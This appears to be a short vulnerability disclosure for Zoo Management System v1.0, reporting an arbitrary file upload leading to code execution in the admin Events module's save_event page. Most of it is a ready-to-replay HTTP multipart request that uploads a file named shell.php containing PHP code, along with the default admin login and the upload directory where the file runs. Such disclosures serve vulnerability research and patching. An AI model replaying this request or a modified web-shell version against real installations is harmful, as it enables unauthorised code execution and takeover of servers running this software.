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Zoo Management System v1.0 by pushpam02 has arbitrary code execution (RCE)

BUG_Author: Tmoont

Admind login account: admin@mail.com/Password@123

vendor: https://www.sourcecodester.com/php/15347/zoo-management-system-source-code-php-mysql-database.html

Vulnerability url: http://ip/ZooManagementSystem/admin/public_html/save_event

Loophole location:There is an arbitrary file upload vulnerability (RCE) in the picture upload point of the "save_event" file of the "Events" module in the background management system

Request package for file upload:

POST /ZooManagementSystem/admin/public_html/save_event HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/ZooManagementSystem/admin/public_html/save_event
Cookie: PHPSESSID=5d10vq7lgptbau7foskstiug7i
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------211023133510784
Content-Length: 851

-----------------------------211023133510784
Content-Disposition: form-data; name="event_id"


-----------------------------211023133510784
Content-Disposition: form-data; name="event_name"

1
-----------------------------211023133510784
Content-Disposition: form-data; name="event_description"

1
-----------------------------211023133510784
Content-Disposition: form-data; name="event_duration"

1
-----------------------------211023133510784
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: application/octet-stream

JFJF
<?php phpinfo();?>
-----------------------------211023133510784
Content-Disposition: form-data; name="event_start_date"

1
-----------------------------211023133510784
Content-Disposition: form-data; name="submit"


-----------------------------211023133510784--

The files will be uploaded to this directory \ZooManagementSystem\img\event image

We visited the directory of the file in the browser and found that the code had been executed image